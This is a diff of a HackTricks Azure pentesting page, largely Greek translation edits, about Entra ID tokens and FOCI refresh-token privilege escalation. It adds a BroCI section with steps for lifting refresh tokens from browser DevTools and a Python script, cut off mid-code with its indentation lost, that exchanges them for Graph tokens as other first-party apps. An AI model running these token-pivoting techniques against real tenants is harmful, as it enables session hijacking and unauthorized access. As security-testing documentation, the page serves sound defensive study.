diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 5f5e71b1c..76eb48794 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Βασικές Πληροφορίες +## Basic Information -Το Entra ID είναι η cloud-based πλατφόρμα identity and access management (IAM) της Microsoft, και λειτουργεί ως το θεμελιώδες σύστημα authentication και authorization για υπηρεσίες όπως το Microsoft 365 και το Azure Resource Manager. Το Azure AD υλοποιεί το OAuth 2.0 authorization framework και το OpenID Connect (OIDC) authentication protocol για τη διαχείριση της πρόσβασης σε πόρους. +Entra ID είναι η cloud-based πλατφόρμα διαχείρισης ταυτότητας και πρόσβασης (IAM) της Microsoft, λειτουργώντας ως το θεμελιώδες σύστημα πιστοποίησης και εξουσιοδότησης για υπηρεσίες όπως το Microsoft 365 και το Azure Resource Manager. Το Azure AD υλοποιεί το πλαίσιο εξουσιοδότησης OAuth 2.0 και το πρωτόκολλο αυθεντικοποίησης OpenID Connect (OIDC) για τη διαχείριση πρόσβασης σε πόρους. ### OAuth @@ -12,89 +12,89 @@ 1. **Resource Server (RS):** Προστατεύει πόρους που ανήκουν στον resource owner. 2. **Resource Owner (RO):** Συνήθως ένας τελικός χρήστης που κατέχει τους προστατευμένους πόρους. -3. **Client Application (CA):** Μία εφαρμογή που ζητά πρόσβαση σε πόρους εκ μέρους του resource owner. -4. **Authorization Server (AS):** Εκδίδει access tokens σε client applications αφού τα αυθεντικοποιήσει και τα εξουσιοδοτήσει. +3. **Client Application (CA):** Μια εφαρμογή που ζητά πρόσβαση σε πόρους εξ ονόματος του resource owner. +4. **Authorization Server (AS):** Εκδίδει access tokens στις client εφαρμογές μετά την πιστοποίηση και εξουσιοδότησή τους. -**Scopes και Consent:** +**Scopes και Συναίνεση:** -- **Scopes:** Λεπτομερείς άδειες ορισμένες στον resource server που καθορίζουν τα επίπεδα πρόσβασης. -- **Consent:** Η διαδικασία με την οποία ένας resource owner χορηγεί σε ένα client application άδεια να έχει πρόσβαση σε πόρους με συγκεκριμένα scopes. +- **Scopes:** Λεπτομερείς άδειες που ορίζονται στον resource server και καθορίζουν επίπεδα πρόσβασης. +- **Consent:** Η διαδικασία με την οποία ο resource owner χορηγεί στην client εφαρμογή άδεια να προσπελάσει πόρους με συγκεκριμένα scopes. -**Microsoft 365 Integration:** +**Ενσωμάτωση Microsoft 365:** - Το Microsoft 365 χρησιμοποιεί το Azure AD για IAM και αποτελείται από πολλαπλές "first-party" OAuth εφαρμογές. -- Αυτές οι εφαρμογές είναι βαθιά ενσωματωμένες και συχνά έχουν διαλειτουργικές σχέσεις υπηρεσιών. -- Για να απλοποιήσει την εμπειρία χρήστη και να διατηρήσει τη λειτουργικότητα, η Microsoft παραχωρεί "implied consent" ή "pre-consent" σε αυτές τις first-party εφαρμογές. -- **Implied Consent:** Ορισμένες εφαρμογές λαμβάνουν αυτόματα **πρόσβαση σε συγκεκριμένα scopes χωρίς ρητή έγκριση χρήστη ή διαχειριστή**. -- Αυτά τα pre-consented scopes συνήθως είναι κρυμμένα τόσο από χρήστες όσο και από διαχειριστές, με αποτέλεσμα να είναι λιγότερο ορατά στις τυπικές διεπαφές διαχείρισης. +- Αυτές οι εφαρμογές είναι βαθιά ενσωματωμένες και συχνά έχουν αλληλεξαρτώμενες σχέσεις υπηρεσιών. +- Για να απλοποιηθεί η εμπειρία χρήστη και να διατηρηθεί η λειτουργικότητα, η Microsoft χορηγεί "implied consent" ή "pre-consent" σε αυτές τις first-party εφαρμογές. +- **Implied Consent:** Ορισμένες εφαρμογές λαμβάνουν αυτόματα **πρόσβαση σε συγκεκριμένα scopes χωρίς ρητή έγκριση από χρήστη ή διαχειριστή**. +- Αυτά τα προ-συνελλημένα scopes συνήθως κρύβονται τόσο από χρήστες όσο και από διαχειριστές, καθιστώντας τα λιγότερο ορατά στις τυπικές διεπαφές διαχείρισης. -**Τύποι Client Application:** +**Τύποι Client Εφαρμογών:** 1. **Confidential Clients:** -- Διαθέτουν δικά τους credentials (π.χ. passwords ή certificates). -- Μπορούν να **επαληθεύσουν με ασφάλεια την ταυτότητά τους** στον authorization server. +- Διαθέτουν δικά τους credentials (π.χ. passwords ή πιστοποιητικά). +- Μπορούν **να αυθεντικοποιηθούν με ασφάλεια** στον authorization server. 2. **Public Clients:** - Δεν έχουν μοναδικά credentials. - Δεν μπορούν να αυθεντικοποιηθούν με ασφάλεια στον authorization server. -- **Security Implication:** Ένας επιτιθέμενος μπορεί να προσποιηθεί ένα public client application όταν ζητά tokens, καθώς δεν υπάρχει μηχανισμός για τον authorization server να επαληθεύσει τη νομιμότητα της εφαρμογής. +- **Επίπτωση Ασφαλείας:** Ένας επιτιθέμενος μπορεί να μιμηθεί μια public client εφαρμογή όταν αιτείται tokens, καθώς δεν υπάρχει μηχανισμός για τον authorization server να επαληθεύσει την νομιμότητα της εφαρμογής. ## Authentication Tokens Υπάρχουν **τρεις τύποι tokens** που χρησιμοποιούνται στο OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Το client παρουσιάζει αυτό το token στον resource server για να **έχει πρόσβαση σε πόρους**. Μπορεί να χρησιμοποιηθεί μόνο για έναν συγκεκριμένο συνδυασμό χρήστη, client και resource και **δεν μπορεί να αναιρεθεί** μέχρι τη λήξη του — που είναι 1 ώρα από προεπιλογή. -- **ID Tokens**: Το client λαμβάνει αυτό το **token από τον authorization server**. Περιέχει βασικές πληροφορίες για τον χρήστη. Είναι **δεσμευμένο σε έναν συγκεκριμένο συνδυασμό χρήστη και client**. -- **Refresh Tokens**: Παρέχονται στο client μαζί με το access token. Χρησιμοποιούνται για να **παραχθούν νέα access και ID tokens**. Είναι δεσμευμένα σε έναν συγκεκριμένο συνδυασμό χρήστη και client και μπορούν να ανακληθούν. Η προεπιλεγμένη λήξη είναι **90 ημέρες** για ανενεργά refresh tokens και **χωρίς λήξη για ενεργά tokens** (από ένα refresh token είναι δυνατό να αποκτηθούν νέα refresh tokens). -- Ένα refresh token πρέπει να συνδέεται με ένα **`aud`**, με κάποια **scopes**, και με έναν **tenant** και θα πρέπει να μπορεί να δημιουργεί access tokens μόνο για εκείνο το aud, scopes (και όχι περισσότερα) και tenant. Ωστόσο, αυτό δεν ισχύει με τα **FOCI applications tokens**. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Το client παρουσιάζει αυτό το token στον resource server για να **προσπελάσει πόρους**. Μπορεί να χρησιμοποιηθεί μόνο για έναν συγκεκριμένο συνδυασμό χρήστη, client και πόρου και **δεν μπορεί να ανακληθεί** μέχρι τη λήξη — δηλαδή 1 ώρα από προεπιλογή. +- **ID Tokens**: Το client λαμβάνει αυτό το **token από τον authorization server**. Περιέχει βασικές πληροφορίες για τον χρήστη. Είναι **δεμένα σε συγκεκριμένο συνδυασμό χρήστη και client**. +- **Refresh Tokens**: Παρέχονται στο client μαζί με το access token. Χρησιμοποιούνται για να **λάβετε νέα access και ID tokens**. Είναι δεμένα σε συγκεκριμένο συνδυασμό χρήστη και client και μπορούν να ανακληθούν. Η προεπιλεγμένη λήξη είναι **90 ημέρες** για ανενεργά refresh tokens και **χωρίς λήξη για ενεργά tokens** (από ένα refresh token είναι δυνατό να προκύψουν νέα refresh tokens). +- Ένα refresh token θα πρέπει να συνδέεται με ένα **`aud`**, με κάποια **scopes**, και με έναν **tenant** και θα πρέπει να μπορεί να δημιουργεί access tokens μόνο για εκείνο το aud, τα συγκεκριμένα scopes (και όχι περισσότερα) και τον tenant. Ωστόσο, αυτό δεν ισχύει για τα tokens εφαρμογών FOCI. - Ένα refresh token είναι κρυπτογραφημένο και μόνο η Microsoft μπορεί να το αποκρυπτογραφήσει. -- Η λήψη ενός νέου refresh token δεν ανακαλεί το προηγούμενο refresh token. +- Η έκδοση ενός νέου refresh token δεν ανακαλεί το προηγούμενο refresh token. > [!WARNING] -> Η πληροφορία για **conditional access** είναι **αποθηκευμένη** μέσα στο **JWT**. Έτσι, αν ζητήσετε το **token από μια επιτρεπόμενη IP διεύθυνση**, αυτή η **IP** θα **αποθηκευτεί** στο token και στη συνέχεια μπορείτε να χρησιμοποιήσετε αυτό το token από μια **μη επιτρεπόμενη IP για πρόσβαση στους πόρους**. +> Πληροφορίες για **conditional access** **αποθηκεύονται** μέσα στο **JWT**. Έτσι, αν αιτηθείτε το **token από μια επιτρεπτή διεύθυνση IP**, αυτή η **IP** θα **αποθηκευτεί** στο token και μετά μπορείτε να χρησιμοποιήσετε αυτό το token από μια **μη-επιτρεπτή IP για να προσπελάσετε τους πόρους**. ### Access Tokens "aud" -Το πεδίο που υποδεικνύεται στο πεδίο "aud" είναι ο **resource server** (η εφαρμογή) που χρησιμοποιείται για την εκτέλεση του login. +Το πεδίο που υποδεικνύεται στο πεδίο "aud" είναι ο **resource server** (η εφαρμογή) που χρησιμοποιήθηκε για να γίνει το login. -Η εντολή `az account get-access-token --resource-type [...]` υποστηρίζει τους παρακάτω τύπους και κάθε ένας από αυτούς θα προσθέσει ένα συγκεκριμένο "aud" στο προκύπτον access token: +Η εντολή `az account get-access-token --resource-type [...]` υποστηρίζει τους ακόλουθους τύπους και καθένας από αυτούς θα προσθέσει ένα συγκεκριμένο "aud" στο παραγόμενο access token: > [!CAUTION] -> Σημειώστε ότι τα ακόλουθα είναι απλώς τα APIs που υποστηρίζονται από την `az account get-access-token` αλλά υπάρχουν και άλλα. +> Σημειώστε ότι τα ακόλουθα είναι απλώς τα APIs που υποστηρίζονται από `az account get-access-token` αλλά υπάρχουν και άλλα.
παραδείγματα aud -- **aad-graph (Azure Active Directory Graph API)**: Χρησιμοποιείται για πρόσβαση στο legacy Azure AD Graph API (deprecated), το οποίο επιτρέπει σε εφαρμογές να διαβάζουν και να γράφουν δεδομένα καταλόγου στο Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Χρησιμοποιείται για πρόσβαση στο legacy Azure AD Graph API (deprecated), που επιτρέπει στις εφαρμογές να διαβάζουν και να γράφουν δεδομένα καταλόγου στο Azure Active Directory (Azure AD). - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Χρησιμοποιείται για τη διαχείριση Azure πόρων μέσω του Azure Resource Manager API. Αυτό περιλαμβάνει λειτουργίες όπως δημιουργία, ενημέρωση και διαγραφή πόρων όπως virtual machines, storage accounts και άλλα. +* **arm (Azure Resource Manager)**: Χρησιμοποιείται για τη διαχείριση πόρων Azure μέσω του Azure Resource Manager API. Αυτό περιλαμβάνει λειτουργίες όπως δημιουργία, ενημέρωση και διαγραφή πόρων όπως virtual machines, storage accounts, κ.λπ. - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Χρησιμοποιείται για πρόσβαση στο Azure Batch, μια υπηρεσία που επιτρέπει εφαρμογές μεγάλης κλίμακας παράλληλου και υψηλής απόδοσης υπολογισμού στο cloud. +- **batch (Azure Batch Services)**: Χρησιμοποιείται για πρόσβαση στο Azure Batch, μια υπηρεσία που επιτρέπει μεγάλης κλίμακας παραλληλισμό και υψηλής απόδοσης εφαρμογές υπολογισμού στο cloud. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Χρησιμοποιείται για αλληλεπίδραση με το Azure Data Lake Storage Gen1, που είναι μια κλιμακούμενη υπηρεσία αποθήκευσης δεδομένων και analytics. +* **data-lake (Azure Data Lake Storage)**: Χρησιμοποιείται για αλληλεπίδραση με το Azure Data Lake Storage Gen1, το οποίο είναι μια κλιμακώσιμη υπηρεσία αποθήκευσης δεδομένων και ανάλυσης. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: Χρησιμοποιείται για πρόσβαση στο Azure Media Services, που παρέχει cloud-based υπηρεσίες επεξεργασίας και παράδοσης media για περιεχόμενο βίντεο και ήχου. +- **media (Azure Media Services)**: Χρησιμοποιείται για πρόσβαση στο Azure Media Services, που παρέχει cloud-based υπηρεσίες επεξεργασίας και παράδοσης μέσων για βίντεο και ήχο. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Χρησιμοποιείται για πρόσβαση στο Microsoft Graph API, το ενιαίο endpoint για δεδομένα των υπηρεσιών Microsoft 365. Επιτρέπει πρόσβαση σε δεδομένα και insights από υπηρεσίες όπως Azure AD, Office 365, Enterprise Mobility και Security services. +* **ms-graph (Microsoft Graph API)**: Χρησιμοποιείται για πρόσβαση στο Microsoft Graph API, το ενιαίο endpoint για δεδομένα υπηρεσιών Microsoft 365. Σας επιτρέπει να προσπελάσετε δεδομένα και πληροφορίες από υπηρεσίες όπως το Azure AD, Office 365, Enterprise Mobility, και Security. - `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Χρησιμοποιείται για πρόσβαση στις υπηρεσίες Azure Database για open-source relational database engines όπως MySQL, PostgreSQL και MariaDB. +- **oss-rdbms (Azure Open Source Relational Databases)**: Χρησιμοποιείται για πρόσβαση στις υπηρεσίες βάσεων δεδομένων Azure για open-source relational database engines όπως MySQL, PostgreSQL, και MariaDB. - `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -Το scope ενός access token αποθηκεύεται μέσα στο κλειδί scp στο access token JWT. Αυτά τα scopes ορίζουν σε τι έχει πρόσβαση το access token. +Το scope ενός access token αποθηκεύεται μέσα στο κλειδί scp εντός του access token JWT. Αυτά τα scopes ορίζουν σε τι έχει πρόσβαση το access token. -Αν ένα JWT έχει δικαίωμα να επικοινωνήσει με ένα συγκεκριμένο API αλλά **δεν έχει το scope** για να εκτελέσει την ζητούμενη ενέργεια, **δεν θα μπορεί να εκτελέσει την ενέργεια** με αυτό το JWT. +Αν ένα JWT επιτρέπεται να επικοινωνήσει με ένα συγκεκριμένο API αλλά **δεν έχει το scope** για να εκτελέσει την αιτούμενη ενέργεια, **δεν θα μπορέσει να εκτελέσει την ενέργεια** με αυτό το JWT. -### Παράδειγμα λήψης refresh & access token +### Get refresh & access token example ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -144,32 +144,32 @@ scopes=["https://graph.microsoft.com/.default"], ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` -### Άλλα access token πεδία +### Άλλα πεδία του access token -- **appid**: Application ID used to generate the token -- **appidacr**: Το Application Authentication Context Class Reference υποδεικνύει πώς έγινε η αυθεντικοποίηση του client, για public client η τιμή είναι 0, και αν χρησιμοποιήθηκε client secret η τιμή είναι 1 -- **acr**: Το Authentication Context Class Reference claim είναι "0" όταν η αυθεντικοποίηση του end-user δεν ικανοποίησε τις απαιτήσεις του ISO/IEC 29115. -- **amr**: Το Authentication method δείχνει πώς έγινε η αυθεντικοποίηση του token. Η τιμή “pwd” υποδεικνύει ότι χρησιμοποιήθηκε password. +- **appid**: Το Application ID που χρησιμοποιήθηκε για τη δημιουργία του token +- **appidacr**: Το Application Authentication Context Class Reference δείχνει πώς έγινε η authentication του client, για public client η τιμή είναι 0, και αν χρησιμοποιήθηκε client secret η τιμή είναι 1 +- **acr**: Το Authentication Context Class Reference claim είναι "0" όταν η authentication του end-user δεν πληροί τις απαιτήσεις του ISO/IEC 29115. +- **amr**: Η μέθοδος Authentication δείχνει πώς πιστοποιήθηκε το token. Η τιμή “pwd” δείχνει ότι χρησιμοποιήθηκε password. - **groups**: Δείχνει τις ομάδες στις οποίες το principal είναι μέλος. -- **iss**: Ο iss προσδιορίζει την security token service (STS) που δημιούργησε το token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (το uuid είναι το tenant ID) +- **iss**: Το iss προσδιορίζει την security token service (STS) που δημιούργησε το token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (το uuid είναι το tenant ID) - **oid**: Το object ID του principal - **tid**: Tenant ID -- **iat, nbf, exp**: Issued at (πότε εκδόθηκε), Not before (δεν μπορεί να χρησιμοποιηθεί πριν από αυτή τη χρονική στιγμή, συνήθως ίδια τιμή με iat), Expiration time. +- **iat, nbf, exp**: Issued at (όταν εκδόθηκε), Not before (δεν μπορεί να χρησιμοποιηθεί πριν από αυτήν την ώρα, συνήθως ίδια τιμή με iat), Expiration time (χρόνος λήξης). ## FOCI Tokens Privilege Escalation -Προηγουμένως αναφέρθηκε ότι τα refresh tokens θα έπρεπε να είναι δεμένα με τα **scopes** με τα οποία δημιουργήθηκαν, με την **application** και τον **tenant** προς τον οποίο δημιουργήθηκαν. Αν οποιοδήποτε από αυτά τα όρια παραβιαστεί, είναι πιθανό να γίνει escalate privileges καθώς θα είναι δυνατό να δημιουργηθούν access tokens για άλλους resources και tenants στους οποίους ο χρήστης έχει πρόσβαση και με περισσότερα scopes από όσα ήταν αρχικά προορισμένα. +Προηγουμένως αναφέρθηκε ότι τα refresh tokens πρέπει να είναι δεμένα με τα **scopes** με τα οποία δημιουργήθηκαν, με την **application** και τον **tenant** στους οποίους δημιουργήθηκαν. Αν οποιοδήποτε από αυτά τα όρια παραβιαστεί, είναι δυνατόν να escalate privileges καθώς θα είναι δυνατό να παραχθούν access tokens για άλλους πόρους και tenants στους οποίους ο χρήστης έχει πρόσβαση και με περισσότερα scopes από ό,τι προοριζόταν αρχικά. -Επιπλέον, **αυτό είναι δυνατό με όλα τα refresh tokens** στην [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) επειδή όπως αναφέρουν τα [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." -Επιπλέον, σημειώστε ότι οι FOCI applications είναι public applications, οπότε **no secret is needed** για να authenticate στον server. +Επιπλέον, σημειώστε ότι οι FOCI applications είναι public applications, οπότε **δεν απαιτείται secret** για authentication στον server. -Οι γνωστοί FOCI clients που αναφέρθηκαν στην [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) μπορούν να [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). -### Get different scope +### Λήψη διαφορετικού scope -Συνεχίζοντας με το προηγούμενο παράδειγμα κώδικα, σε αυτόν τον κώδικα ζητείται ένα νέο token για διαφορετικό scope: +Following with the previous example code, in this code it's requested a new token for a different scope: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -186,7 +186,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Αποκτήστε διαφορετικό client και scopes +### Λήψη διαφορετικού client και scopes ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") @@ -202,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` +## NAA / BroCI (Nested App Authentication / Broker Client Injection) + +A BroCI refresh tokens είναι ένα μοτίβο brokered token exchange όπου ένα υπάρχον refresh token χρησιμοποιείται με επιπλέον broker παραμέτρους για να ζητήσει tokens ως άλλη αξιόπιστη first-party app. + +These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token). + +### Στόχος και σκοπός + +Ο στόχος του BroCI είναι να επαναχρησιμοποιήσει μια έγκυρη συνεδρία χρήστη από μια αλυσίδα εφαρμογών με broker δυνατότητα και να ζητήσει tokens για ένα άλλο trusted app/resource ζευγάρι. Συνεπώς, επιτρέπει την "ανύψωση προνομίων" από το αρχικό token. + +Από επιθετική προοπτική, αυτό έχει σημασία επειδή: + +- Μπορεί να ξεκλειδώσει προ-συγκατατεθέντα μονοπάτια first-party εφαρμογών που δεν είναι προσβάσιμα με τις τυπικές ανταλλαγές refresh. +- Μπορεί να επιστρέψει access tokens για APIs υψηλής αξίας (π.χ. Microsoft Graph) υπό ταυτότητες εφαρμογών με ευρείες delegated permissions. +- Επεκτείνει τις δυνατότητες post-authentication token pivoting πέρα από το κλασικό FOCI client switching. + +Αυτό που αλλάζει σε ένα NAA/BroCI refresh token δεν είναι η εμφανής μορφή του token, αλλά το **πλαίσιο έκδοσης** και τα metadata σχετικά με τον broker που η Microsoft επικυρώνει κατά τις brokered refresh operations. + +NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange. + +- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations. +- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`). +- Microsoft validates whether the presented refresh token was minted in a matching brokered context. +- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant"). +- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code. +- You need a refresh token already issued by a compatible brokered flow. + +Check the web **** to find BroCI configured apps an the trust relationships they have. + + +### Νοητικό μοντέλο + +Σκεφτείτε το BroCI ως: + +`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource` + +If any part of that broker chain does not match, the exchange fails. + +### Πού να βρείτε ένα BroCI-έγκυρο refresh token + +Ένας πρακτικός τρόπος είναι η συλλογή κυκλοφορίας του browser portal: + +1. Sign in to `https://entra.microsoft.com` (or Azure portal). +2. Open DevTools -> Network. +3. Filter for: +- `oauth2/v2.0/token` +- `management.core.windows.net` +4. Identify the brokered token response and copy `refresh_token`. +5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios). + +### Συνηθισμένα σφάλματα + +- `AADSTS900054`: Το context του refresh token δεν ταιριάζει με το παρεχόμενο broker tuple (`brk_client_id` / `redirect_uri` / `origin`) ή το token δεν προέρχεται από brokered portal flow. +- `AADSTS7000218`: Το επιλεγμένο client flow αναμένει ένα confidential credential (`client_secret`/assertion), συχνά εμφανιζόμενο όταν προσπαθείτε device code με έναν μη-public client. + +
+Python βοηθητικό ανανέωσης BroCI (broci_auth.py) +```python +#!/usr/bin/env python3 +""" +Python implementation of EntraTokenAid Broci refresh flow. + +Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for: +- brk_client_id +- redirect_uri +- Origin header + +Usage: +python3 broci_auth.py --refresh-token "" + +How to obtain a Broci-valid refresh token (authorized testing only): +1) Open https://entra.microsoft.com and sign in. +2) Open browser DevTools -> Network. +3) Filter requests for: +- "oauth2/v2.0/token" +- "management.core.windows.net" +4) Locate the portal broker token response and copy the "refresh_token" value +(the flow should be tied to https://management.core.windows.net//). +5) Use that token with this script and Broci params: + +python3 broci_auth.py \ +--refresh-token "" \ +--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \ +--tenant "organizations" \ +--api "graph.microsoft.com" \ +--scope ".default offline_access" \ +--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \ +--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \ +--origin "https://entra.microsoft.com" \ +--token-out +""" + +import argparse +import base64 +import datetime as dt +import json +import re +import sys +import urllib.error +import urllib.parse +import urllib.request +from typing import Any + + +GUID_RE = re.compile( +r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" +) +OIDC_SCOPES = {"offline_access", "openid", "profile", "email"} + + +def resolve_api_scope_url(api: str, scope: str) -> str: +""" +Match Resolve-ApiScopeUrl behavior from the PowerShell module. +""" +if GUID_RE.match(api): +base_resource = api +elif api.lower().startswith("urn:") or "://" in api: +base_resource = api +else: +base_resource = f"https://{api}" + +base_resource = base_resource.rstrip("/") + +resolved: list[str] = [] +for token in scope.split(): +if not token.strip(): +continue +if "://" in token: +resolved.append(token) +elif token.lower().startswith("urn:"): +resolved.append(token) +elif token in OIDC_SCOPES: +resolved.append(token) +elif GUID_RE.match(token): +resolved.append(f"{token}/.default") +else: +normalized = ".default" if token in {"default", ".default"} else token +resolved.append(f"{base_resource}/{normalized}") + +return " ".join(resolved) + + +def parse_jwt_payload(jwt_token: str) -> dict[str, Any]: +parts = jwt_token.split(".") +if len(parts) != 3: +raise ValueError("Invalid JWT format.") +payload = parts[1] +padding = "=" * ((4 - len(payload) % 4) % 4) +decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii")) +return json.loads(decoded.decode("utf-8")) + + +def refresh_broci_token( +refresh_token: str, +client_id: str, +scope: str, +api: str, +tenant: str, +user_agent: str, +origin: str | None, +brk_client_id: str | None, +redirect_uri: str | None, +disable_cae: bool, +) -> dict[str, Any]: +api_scope_url = resolve_api_scope_url(api=api, scope=scope) + +headers = { +"User-Agent": user_agent, +"X-Client-Sku": "MSAL.Python", +"X-Client-Ver": "1.31.0", +"X-Client-Os": "win32", +"Content-Type": "application/x-www-form-urlencoded", +} +if origin: +headers["Origin"] = origin + +body: dict[str, str] = { +"grant_type": "refresh_token", +"client_id": client_id, +"scope": api_scope_url, +"refresh_token": refresh_token, +} +if not disable_cae: +body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}' +if brk_client_id: +body["brk_client_id"] = brk_client_id +if redirect_uri: +body["redirect_uri"] = redirect_uri + +data = urllib.parse.urlencode(body).encode("utf-8") +token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" +req = urllib.request.Request(token_url, data=data, headers=headers, method="POST") + +try: +with urllib.request.urlopen(req) as resp: +raw = resp.read().decode("utf-8") +except urllib.error.HTTPError as e: +err_raw = e.read().decode("utf-8", errors="replace") +try: +err_json = json.loads(err_raw) +short = err_json.get("error", "unknown_error") +desc = err_json.get("error_description", err_raw) +raise RuntimeError(f"{short}: {desc}") from None +except json.JSONDecodeError: +raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None + +tokens = json.loads(raw) +if "access_token" not in tokens: +raise RuntimeError("Token endpoint response did not include access_token.") +return tokens + + +def main() -> int: +parser = argparse.ArgumentParser( +description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)." +) +parser.add_argument("--refresh-token", required=True, help="Refresh token (required).") +parser.add_argument( +"--client-id", +default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", +help="Client ID (default: Azure CLI).", +) +parser.add_argument( +"--scope", +default=".default offline_access", +help="Scopes (default: '.default offline_access').", +) +parser.add_argument( +"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)." +) +parser.add_argument("--tenant", default="common", help="Tenant (default: common).") +parser.add_argument( +"--user-agent", +default="python-requests/2.32.3", +help="User-Agent sent to token endpoint.", +) +parser.add_argument("--origin", default=None, help="Optional Origin header.") +parser.add_argument( +"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)." +) +parser.add_argument( +"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)." +) +parser.add_argument( +"--disable-cae", +action="store_true", +help="Disable CAE claims in token request.", +) +parser.add_argument( +"--token-out", +action="store_true", +help="Print access/refresh tokens in output.", +) +parser.add_argument( +"--disable-jwt-parsing", +action="store_true", +help="Do not parse JWT claims.", +) + +args = parser.parse_args() + +print("[*] Sending request to token endpoint") +try: +tokens = refresh_broci_token( +refresh_token=args.refresh_token, +client_id=args.client_id, +scope=args.scope, +api=args.api, +tenant=args.tenant, +user_agent=args.user_agent, +origin=args.origin, +brk_client_id=args.brk_client_id, +redirect_uri=args.redirect_uri, +disable_cae=args.disable_cae, +) +except Exception as e: +print(f"[!] Error: {e}", file=sys.stderr) +return 1 + +expires_in = int(tokens.get("expires_in", 0)) +expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds") +tokens["expiration_time"] = expiration_time + +print( +"[+] Got an access token and a refresh token" +if tokens.get("refresh_token") +else "[+] Got an access token (no refresh token requested)" +) + +if not args.disable_jwt_parsing: +try: +jwt_payload = parse_jwt_payload(tokens["access_token"]) +audience = jwt_payload.get("aud", "") +print(f"[i] Audience: {audience} / Expires at: {expiration_time}") +tokens["scp"] = jwt_payload.get("scp") +tokens["tenant"] = jwt_payload.get("tid") +tokens["user"] = jwt_payload.get("upn") +tokens["client_app"] = jwt_payload.get("app_displayname") +tokens["client_app_id"] = args.client_id +tokens["auth_methods"] = jwt_payload.get("amr") +tokens["ip"] = jwt_payload.get("ipaddr") +tokens["audience"] = audience +if isinstance(audience, str): +tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience)) +if "xms_cc" in jwt_payload: +tokens["xms_cc"] = jwt_payload.get("xms_cc") +except Exception as e: +print(f"[!] JWT parse error: {e}", file=sys.stderr) +return 1 +else: 